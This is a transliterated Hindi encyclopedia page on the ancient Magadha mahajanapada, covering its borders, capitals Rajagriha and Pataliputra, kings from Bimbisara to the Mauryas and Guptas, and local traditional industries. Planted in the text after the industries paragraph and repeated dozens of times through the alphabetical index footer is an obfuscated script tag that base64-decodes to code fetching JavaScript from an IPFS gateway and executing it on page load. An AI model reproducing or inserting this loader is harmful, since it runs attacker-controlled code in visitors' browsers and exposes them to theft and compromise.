मगध महाजनपद

भारत डिस्कवरी प्रस्तुति
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thumb|300px|magadh mahajanapad
Magadha Great Realm magadh prachin bharat ke solah mahajanapad mean se ek tha . bauddh kal tatha paravartikal mean uttari bharat ka sabase adhik shaktishali janapad tha. isaki sthiti sthool roop se dakshin bihar ke pradesh mean thi. adhunik patana tatha gaya zila isamean shamil the . isaki rajadhani girivraj thi . bhagavan buddh ke poorv brihadrath tatha jarasandh [1]yahaan ke pratishthit raja the . abhi is nam se bihar mean ek pranmadal hai - magadh pramandal magadh ka sarvapratham ullekh atharvaved mean milata hai . [2] isase soochit hota hai ki pray: uttar vaidik kal tak magadh, ary sabhyata ke prabhav kshetr ke bahar tha. abhiyan chintamani ke anusar magadh ko kikat kaha gaya hai . magadh buddhakalin samay mean ek shakh‍tishali rajatantroan mean ek tha . yah dakshini bihar mean sthit tha jo kalantar mean uttar bharat ka sarvadhik shakh‍tishali mahajanapad ban gaya . yah gauravamayi itihas aur rajanitik evan dharmikata ka vishh‍v kendr ban gaya .

magadh mahajanapad ki sima uttar mean ganga se dakshin mean vindhy parvat tak, poorv mean champa se pashh‍chim mean son nadi tak vistrit thian . magadh ka sarvapratham ullekh se soochit hota hai ki vishvasphatik namak raja ne magadh mean pratham bar varnoan ki paranpara prachalit karake ary sabhyata ka prachar kiya tha. [3]vajaseniy sanhita [4] mean magadhoan ya magadh ke charanoan ka ullekh hai. magadh ki prachin rajadhani rajagrih thi . yah paanch paha diyoan se ghira nagar tha . kalantar mean magadh ki rajadhani pataliputr mean sthapit huee . magadh rajy mean tatkalin shakh‍tishali rajy kaushal, vats v avanti ko apane janapad mean mila liya . is prakar magadh ka vistar akhand bharat ke roop mean ho gaya aur prachin magadh ka itihas hi bharat ka itihas bana .

magadh rajy ka vistar uttar mean ganga, pashh‍chim mean son tatha dakshin mean jaganlachchhadit pathari pradesh tak tha . patana aur gaya zila ka kshetr prachinakal mean magadh ke nam se jana jata tha . magadh prachinakal se hi rajanitik utthan, patan evan samajik-dharmik jagriti ka kendr bindu raha hai . magadh buddh ke samakalin ek shakh‍tikali v sangathit rajatanh‍tr tha . gautam buddh ke samay mean magadh mean bianbisar aur tatpashchath usake putr ajatashatru ka raj tha. is samay magadh ki kosal janapad se b di anaban thi yadyapi kosal-naresh prasenajit ki kanya ka vivah bianbisar se hua tha. is vivah ke phalasvaroop kashi ka janapad magadharaj ko dahej ke roop mean mila tha. yah magadh ke utkarsh ka samay tha aur paravarti shatiyoan mean is janapad ki shakti barabar badhati rahi.

chauthi shati ee.poo. mean magadh ke shasak nav nand the. inake bad chandragupt maury tatha ashok ke rajyakal mean magadh ke prabhavashali rajy ki shakti apane uchchatam gaurav ke shikhar par pahuanchi huee thi aur magadh ki rajadhani pataliputr bharat bhar ki rajanitik satta ka keandr biandu thi. magadh ka mahattv isake pashchath bhi kee shatiyoan tak bana raha aur gupt kal ke praranbh mean kafi samay tak gupt samrajy ki rajadhani pataliputr hi mean rahi. jan p data hai ki kalidas ke samay (sanbhavat: 5vian shati ee.) mean bhi magadh ki pratishtha poorvavath thi kyoanki raghuvansh mean iandumati ke svayanvar ke prasang mean magadhanaresh parantap ka bharat ke sab rajaoan mean sarvapratham ullekh kiya gaya hai. isi prasang mean magadh-naresh ki rajadhani ko kalidas ne pushpapur mean bataya hai. [5]

gupt samrajy ki avanati ke sath-sath hi magadh ki pratishtha bhi kam ho chali aur chhathi-satavian shatiyoan ke pashchath magadh bharat ka ek chhota sa praant matr rah gaya. madhyakal mean yah bihar namak praant mean vilin ho gaya aur magadh ka poorv gaurav itihas ka vishay ban gaya. jain sahity mean anek sthaloan par magadh tatha usaki rajadhani rajagrih (prakrit rayagih) ka ullekh hai. [6] kalantar mean magadh ka uttarottar vikas hota gaya aur magadh ka itihas (bharatiy sanskriti aur sabhyata ke vikas ke pramukh stambh ke roop mean) sampoorn bharatavarsh ka itihas ban gaya . bimbisar ne haryak vansh ki sthapana 544 ee. poo. mean ki . isake sath hi rajanitik shakh‍ti ke roop mean bihar ka sarvapratham uday hua . bimbisar ko magadh samrajy ka vastavik sansthapak/raja mana jata hai . bimbisar ne girivraj [7] (rajagir) ko apani rajadhani banayi . isake vaivahik sambandhoan (kaushal, vaishali evan panjab) ki niti apanakar apane samrajy ka vistar kiya . yah " magadh' namak kshetr madhy bihar ka ek bhaugolik kshetr haian . rajanitik evan prashasanik manachitr mean yah mukhyat: magadh pramandal ke roop mean hai . is magadh pramandal ke zile haian- gaya, aurangabad, jahanabad, navada . pramandal ka mukhyalay gaya mean hi hai aur yahi hai magadhaanchal ka saanskriti, rajanitik tatha vyavasayik kendr . bihar rajy aur nepal ke taraee kshetr mean boli jane vali bihari bhashaoan mean magadhi ko magadhi prakrit ka adhunik pratinidhi mana jata hai.

is kshetr mean vibhinn prakar ki kalaean prachinakal se hi hai aur yahi kalaantar mean kalakaroan ki roji-roti tatha vyavasay ka mukhy sadhan banian. halaanki adhunik kalaoan, utpadoan aur vyavasayoan se paranparik vyavasay prabhavit jarur hua hai, phir bhi in vyavasayoan evan paranparik utpadoan ka apana mahattv evan bazar mean poochh bhi hai. isalie yah kahana ki " aj ke paranparik udyogoan par sankat hi sankat hai' poornat: uchit nahian hai .

ham ab magadh kshetr ke paranparik udyog se parichit ho lean tatha inase ju de paranparik vyavasay vyapakata, vayaparik ghata labh, sthaniy samasyaean v unake samadhan tatha any takaniki pakshoan par bhi n dalate chalean . yahaan ke pramukh paranparik udyogoan mean vasr-udyog, mishtann udyog baans se utpadit vastu udyog, pashan evan kashth moorti udyog, vady yantr udyog, oon evan kanbal udyog, hastakala ke any udyog, sharab evan ta di udyog tatha gitti udyog mukhy haian . uparokt sabhi paranparik guru chele vale paranpara chakr se hi chalate a rahe haian aur isi paranpara ke tahat isamean avashyak anavashyak rupaantaran hote rahe haian . <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ mahabharat ke samay mean magadh mean jarasandh ka rajy tha jisaki rajadhani girivraj mean thi. jarasandh ke vadh ke lie shrikrishna arjun aur bhim ke sath magadh desh mean sthit isi nagar mean ae the-'gorathan girimasady dadrishurmagadhan puramh'- maha0 sabha0 20,30. jarasandh ke vadh ke pashchath bhim ne jab poorv disha ki digvijay ki to unhoanne jarasandh ke putr sahadev ko, apane sanrakshan mean le liya aur usase kar grahan kiya 'tat: suhmanh prasuhmaanshch sapakshanativiryavantrijity yudhakauanteyaan magadhanabhyadhadbali' 'jarasandhi santvayitva kare ch viniveshy h' sabha0 30,16-17
  2. ↑ atharvaved 5,22,14 mean hai- 'gandharimbhyoan moojavadbhyodagebhyomagadhebhy: praishyanh janamiv shevadhian takmanan paridadmasi'.
  3. ↑ 'magadhayaan tu vishvasphatikasanjnoanyanvanani parishyati'. vishnupuran (4,24,61
  4. ↑ vajaseniy sanhita (30,5
  5. ↑ 'prasadava tayan sanshritanaan netrotsavan pushpapuraangananamh' raghuvansh 6,21
  6. ↑ prajnapan sootr
  7. ↑ valmiki ramayan (bal0 32,8-9) mean magadh ke girivraj ka nam vasumati kaha gaya hai aur sumagadhi nadi ko is nagar ke nikat bahati huee bataya gaya hai- 'esha vasumati nam vasostasy mahatman:, ete shailavara: panch prakashante satantat:, suma gadhinadi ramya magadhanvishrutaaayayau, panchanaan shailamukhyanaan madhye manev shaubhate'

sanbandhit lekh

dekhean • varta • badalean
solah mahajanapad (700–300 ee.poo)

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varnamala kramanusar lekh khoj

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  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n 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  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah



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